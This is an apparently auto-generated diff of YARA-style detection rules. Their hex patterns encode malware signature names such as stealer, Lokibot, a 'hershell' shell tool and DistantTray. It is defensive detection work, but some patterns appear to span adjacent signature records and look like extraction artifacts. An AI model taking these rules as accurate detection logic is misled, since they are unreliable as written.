rule _InfrastructureShared_1731{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1732{ +rule _InfrastructureShared_1739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18168,7 +18262,7 @@ rule _InfrastructureShared_1732{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1733{ +rule _InfrastructureShared_1740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18178,7 +18272,7 @@ rule _InfrastructureShared_1733{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1734{ +rule _InfrastructureShared_1741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18188,7 +18282,7 @@ rule _InfrastructureShared_1734{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1735{ +rule _InfrastructureShared_1742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18198,7 +18292,7 @@ rule _InfrastructureShared_1735{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1736{ +rule _InfrastructureShared_1743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18208,7 +18302,7 @@ rule _InfrastructureShared_1736{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1737{ +rule _InfrastructureShared_1744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18218,7 +18312,7 @@ rule _InfrastructureShared_1737{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1738{ +rule _InfrastructureShared_1745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18228,7 +18322,7 @@ rule _InfrastructureShared_1738{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1739{ +rule _InfrastructureShared_1746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18238,7 +18332,7 @@ rule _InfrastructureShared_1739{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1740{ +rule _InfrastructureShared_1747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18248,7 +18342,7 @@ rule _InfrastructureShared_1740{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1741{ +rule _InfrastructureShared_1748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18258,7 +18352,7 @@ rule _InfrastructureShared_1741{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1742{ +rule _InfrastructureShared_1749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18268,7 +18362,7 @@ rule _InfrastructureShared_1742{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1743{ +rule _InfrastructureShared_1750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18278,7 +18372,7 @@ rule _InfrastructureShared_1743{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1744{ +rule _InfrastructureShared_1751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18288,7 +18382,7 @@ rule _InfrastructureShared_1744{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1745{ +rule _InfrastructureShared_1752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18298,7 +18392,7 @@ rule _InfrastructureShared_1745{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1746{ +rule _InfrastructureShared_1753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18308,7 +18402,7 @@ rule _InfrastructureShared_1746{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1747{ +rule _InfrastructureShared_1754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18318,7 +18412,7 @@ rule _InfrastructureShared_1747{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1748{ +rule _InfrastructureShared_1755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18328,7 +18422,7 @@ rule _InfrastructureShared_1748{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1749{ +rule _InfrastructureShared_1756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18338,7 +18432,7 @@ rule _InfrastructureShared_1749{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1750{ +rule _InfrastructureShared_1757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18348,7 +18442,7 @@ rule _InfrastructureShared_1750{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1751{ +rule _InfrastructureShared_1758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18358,7 +18452,7 @@ rule _InfrastructureShared_1751{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1752{ +rule _InfrastructureShared_1759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18368,7 +18462,7 @@ rule _InfrastructureShared_1752{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1753{ +rule _InfrastructureShared_1760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18378,7 +18472,7 @@ rule _InfrastructureShared_1753{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1754{ +rule _InfrastructureShared_1761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18388,7 +18482,7 @@ rule _InfrastructureShared_1754{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1755{ +rule _InfrastructureShared_1762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18398,7 +18492,7 @@ rule _InfrastructureShared_1755{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1756{ +rule _InfrastructureShared_1763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18408,7 +18502,7 @@ rule _InfrastructureShared_1756{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1757{ +rule _InfrastructureShared_1764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18418,7 +18512,7 @@ rule _InfrastructureShared_1757{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1758{ +rule _InfrastructureShared_1765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18428,7 +18522,7 @@ rule _InfrastructureShared_1758{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1759{ +rule _InfrastructureShared_1766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18438,7 +18532,7 @@ rule _InfrastructureShared_1759{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1760{ +rule _InfrastructureShared_1767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18448,7 +18542,7 @@ rule _InfrastructureShared_1760{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1761{ +rule _InfrastructureShared_1768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18458,7 +18552,7 @@ rule _InfrastructureShared_1761{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1762{ +rule _InfrastructureShared_1769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18468,7 +18562,7 @@ rule _InfrastructureShared_1762{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1763{ +rule _InfrastructureShared_1770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18478,7 +18572,7 @@ rule _InfrastructureShared_1763{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1764{ +rule _InfrastructureShared_1771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18488,7 +18582,7 @@ rule _InfrastructureShared_1764{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1765{ +rule _InfrastructureShared_1772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18498,7 +18592,7 @@ rule _InfrastructureShared_1765{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1766{ +rule _InfrastructureShared_1773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18508,7 +18602,7 @@ rule _InfrastructureShared_1766{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1767{ +rule _InfrastructureShared_1774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18518,7 +18612,7 @@ rule _InfrastructureShared_1767{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1768{ +rule _InfrastructureShared_1775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18528,7 +18622,7 @@ rule _InfrastructureShared_1768{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1769{ +rule _InfrastructureShared_1776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18538,7 +18632,7 @@ rule _InfrastructureShared_1769{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1770{ +rule _InfrastructureShared_1777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18548,7 +18642,7 @@ rule _InfrastructureShared_1770{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1771{ +rule _InfrastructureShared_1778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18558,7 +18652,7 @@ rule _InfrastructureShared_1771{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1772{ +rule _InfrastructureShared_1779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18568,7 +18662,7 @@ rule _InfrastructureShared_1772{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1773{ +rule _InfrastructureShared_1780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18578,7 +18672,7 @@ rule _InfrastructureShared_1773{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1774{ +rule _InfrastructureShared_1781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18588,7 +18682,7 @@ rule _InfrastructureShared_1774{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1775{ +rule _InfrastructureShared_1782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18598,7 +18692,7 @@ rule _InfrastructureShared_1775{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1776{ +rule _InfrastructureShared_1783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18608,7 +18702,7 @@ rule _InfrastructureShared_1776{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1777{ +rule _InfrastructureShared_1784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18618,7 +18712,7 @@ rule _InfrastructureShared_1777{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1778{ +rule _InfrastructureShared_1785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18628,7 +18722,7 @@ rule _InfrastructureShared_1778{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1779{ +rule _InfrastructureShared_1786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18638,7 +18732,7 @@ rule _InfrastructureShared_1779{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1780{ +rule _InfrastructureShared_1787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18648,7 +18742,7 @@ rule _InfrastructureShared_1780{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1781{ +rule _InfrastructureShared_1788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18658,7 +18752,7 @@ rule _InfrastructureShared_1781{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1782{ +rule _InfrastructureShared_1789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18668,7 +18762,7 @@ rule _InfrastructureShared_1782{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1783{ +rule _InfrastructureShared_1790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18678,7 +18772,7 @@ rule _InfrastructureShared_1783{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1784{ +rule _InfrastructureShared_1791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18688,7 +18782,7 @@ rule _InfrastructureShared_1784{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1785{ +rule _InfrastructureShared_1792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18698,7 +18792,7 @@ rule _InfrastructureShared_1785{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1786{ +rule _InfrastructureShared_1793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18708,7 +18802,7 @@ rule _InfrastructureShared_1786{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1787{ +rule _InfrastructureShared_1794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18718,17 +18812,27 @@ rule _InfrastructureShared_1787{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1788{ +rule _InfrastructureShared_1795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {57 69 6e 33 32 2f 52 65 73 68 6c 65 72 2e 41 00 01 00 16 01 2d 50 6f 77 65 72 65 64 2d 42 79 5b 68 65 72 73 68 65 6c 6c 5d 3e 00 00 78 38 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //21539 + $a_4c_0 = {57 69 6e 33 32 2f 52 65 73 68 6c 65 72 2e 41 00 01 00 16 01 2d 50 6f 77 65 72 65 64 2d 42 79 5b 68 65 72 73 68 65 6c 6c 5d 3e 00 00 78 38 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1789{ +rule _InfrastructureShared_1796{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 41 49 41 44 21 4d 54 42 00 01 00 0c 01 61 d2 9c 16 2d e9 1a 2c e6 08 17 58 00 00 78 38 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 56 31 21 4d 54 42 00 01 00 0e 03 31 c9 80 34 01 90 01 01 41 39 d1 75 90 00 00 00 78 38 00 00 01 00 01 00 01 00 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_1797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18738,7 +18842,7 @@ rule _InfrastructureShared_1789{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1790{ +rule _InfrastructureShared_1798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18748,7 +18852,7 @@ rule _InfrastructureShared_1790{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_1791{ +rule _InfrastructureShared_1799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18758,7 +18862,7 @@ rule _InfrastructureShared_1791{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1792{ +rule _InfrastructureShared_1800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18768,7 +18872,7 @@ rule _InfrastructureShared_1792{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1793{ +rule _InfrastructureShared_1801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18778,7 +18882,7 @@ rule _InfrastructureShared_1793{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1794{ +rule _InfrastructureShared_1802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18788,7 +18892,7 @@ rule _InfrastructureShared_1794{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1795{ +rule _InfrastructureShared_1803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18798,7 +18902,7 @@ rule _InfrastructureShared_1795{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1796{ +rule _InfrastructureShared_1804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -18808,7 +18912,7 @@ rule _InfrastructureShared_1796{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_1797{ +rule _InfrastructureShared_1805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -18818,7 +18922,7 @@ rule _InfrastructureShared_1797{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_1798{ +rule _InfrastructureShared_1806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18828,7 +18932,7 @@ rule _InfrastructureShared_1798{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1799{ +rule _InfrastructureShared_1807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18838,17 +18942,27 @@ rule _InfrastructureShared_1799{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1800{ +rule _InfrastructureShared_1808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 4d 42 21 4d 54 42 00 01 00 0c 01 72 f7 17 00 70 16 8d 06 00 00 01 14 00 00 78 39 00 00 01 00 01 00 01 00 21 23 45 46 49 5f 42 4c 4f 43 4b 5f 49 4f 5f 50 52 4f 54 4f 43 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 4d 42 21 4d 54 42 00 01 00 0c 01 72 f7 17 00 70 16 8d 06 00 00 01 14 00 00 78 39 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 } //16675 condition: ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1801{ +rule _InfrastructureShared_1809{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 73 74 61 6e 74 54 72 61 79 2e 43 21 64 68 61 00 01 00 08 01 ff 21 0b 56 d1 de 86 af 00 00 78 39 00 00 01 00 01 00 01 00 21 23 45 46 49 5f 42 4c 4f 43 4b 5f 49 4f 5f 50 52 4f 54 4f 43 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_1810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18858,7 +18972,7 @@ rule _InfrastructureShared_1801{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1802{ +rule _InfrastructureShared_1811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18868,7 +18982,7 @@ rule _InfrastructureShared_1802{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1803{ +rule _InfrastructureShared_1812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18878,7 +18992,7 @@ rule _InfrastructureShared_1803{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1804{ +rule _InfrastructureShared_1813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18888,7 +19002,7 @@ rule _InfrastructureShared_1804{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1805{ +rule _InfrastructureShared_1814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18898,7 +19012,7 @@ rule _InfrastructureShared_1805{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1806{ +rule _InfrastructureShared_1815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18908,7 +19022,7 @@ rule _InfrastructureShared_1806{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1807{ +rule _InfrastructureShared_1816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18918,7 +19032,7 @@ rule _InfrastructureShared_1807{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1808{ +rule _InfrastructureShared_1817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18928,7 +19042,7 @@ rule _InfrastructureShared_1808{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1809{ +rule _InfrastructureShared_1818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18938,7 +19052,7 @@ rule _InfrastructureShared_1809{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1810{ +rule _InfrastructureShared_1819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18948,7 +19062,7 @@ rule _InfrastructureShared_1810{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1811{ +rule _InfrastructureShared_1820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18958,7 +19072,7 @@ rule _InfrastructureShared_1811{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1812{ +rule _InfrastructureShared_1821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18968,7 +19082,7 @@ rule _InfrastructureShared_1812{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1813{ +rule _InfrastructureShared_1822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18978,17 +19092,27 @@ rule _InfrastructureShared_1813{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1814{ +rule _InfrastructureShared_1823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 4d 53 49 4c 3a 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 00 01 00 13 01 2e 43 53 68 61 72 70 2e 43 6f 6d 6d 61 6e 64 4c 69 6e 65 00 00 78 39 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 43 59 21 44 65 63 72 79 70 74 00 01 00 } //18467 + $a_54_0 = {3a 4d 53 49 4c 3a 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 00 01 00 13 01 2e 43 53 68 61 72 70 2e 43 6f 6d 6d 61 6e 64 4c 69 6e 65 00 00 78 39 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4d 79 73 74 69 63 43 61 63 74 75 73 2e 44 00 01 00 17 01 53 65 } //18467 condition: ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1815{ +rule _InfrastructureShared_1824{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 4d 79 73 74 69 63 43 61 63 74 75 73 2e 44 00 01 00 17 01 53 65 72 69 61 6c 69 7a 65 4d 61 72 6b 65 74 54 61 62 6c 65 5f 33 32 00 00 78 39 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 43 59 21 44 65 63 72 79 70 74 00 01 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18998,7 +19122,7 @@ rule _InfrastructureShared_1815{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1816{ +rule _InfrastructureShared_1826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19008,7 +19132,7 @@ rule _InfrastructureShared_1816{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1817{ +rule _InfrastructureShared_1827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19018,7 +19142,7 @@ rule _InfrastructureShared_1817{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1818{ +rule _InfrastructureShared_1828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19028,7 +19152,7 @@ rule _InfrastructureShared_1818{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1819{ +rule _InfrastructureShared_1829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19038,7 +19162,7 @@ rule _InfrastructureShared_1819{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1820{ +rule _InfrastructureShared_1830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19048,7 +19172,7 @@ rule _InfrastructureShared_1820{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1821{ +rule 